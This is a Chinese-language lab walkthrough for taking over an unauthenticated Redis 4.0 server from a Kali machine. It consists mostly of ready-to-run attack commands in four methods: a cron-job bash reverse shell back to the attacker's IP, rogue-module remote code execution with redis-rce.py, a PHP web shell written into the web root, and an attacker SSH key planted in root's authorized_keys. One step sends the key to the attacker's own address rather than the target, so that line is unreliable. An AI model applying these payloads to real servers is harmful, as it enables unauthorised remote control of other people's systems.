简介:
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。作为一个高性能的key-value数据库,Redis在部分场景下对关系数据库起到很好的补充作用。
环境搭建:
系统:centos7(192.168.111.132)
攻击机:kali(192.168.111.130)
安装redis4.0
1.输入
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
2.解压编译
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install
3.修改redis.conf的配置文件添加bind:0.0.0.0
vim redis.conf
4. 启动redis
redis-server /root/redis-4.0.9/redis.conf
getshell(一)
在kali上输入
Redis-cli -h 192.168.111.132//连接目标redis
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.111.130/8888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
之后监听8888端口,等一会就是收到一个shell
getshell(二)
输入
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git
进入RedisModules-ExecuteCommand目录输入
make
会生成moudle.so 文件
之后输入
cp /home/kali/桌面/RedisModules-ExecuteCommand/module.so /home/kali/桌面/redis-rce
把生成的moudle.so复制到redis-rce目录里面,之后进入redis-rce目录里面输入
python redis-rce.py -r 192.168.111.132 -p 6379 -L 192.168.111.130 -f moudle.so
getshell(三)
上传webshell
redis-cli -h 192.168.111.132----------------------------->连接目标
CONFIG SET dir /www/wwwroot/----------------------------->设置备份路径
CONGIG SET dbfilename x.php ------------------------------>设置备份文件
SET x "<?php system($_GET['cmd']);?>"--------------------->往备份文件里面写入一句话
BGSAVE ---------------------------------->进行保存
之后可以在目标机器中的/www/wwwroot/目录中找到x.php文件
里面的内容:
getshell(四)
前提
a.Redis服务使用ROOT账号启动
b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
首先生成密钥输入
ssh-keygen -t rsa
之后进入/root/.ssh目录把公钥输入到1.txt中
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>1.txt ----------------------->\n是回车
然后输入
cat 1.txt |redis-cli -h 192.168.111.130 -x set crack---------------------->该命令是把一个
key为crack,值为cat 1.txt 添加到redis中
紧接着进入redis中输入
config set dir /root/.ssh
config set dbfilename authorized_keys
save
最后输入使用ssh登陆
(Ps:redis 查看key keys *:
查看值 get key
清空所有值flushall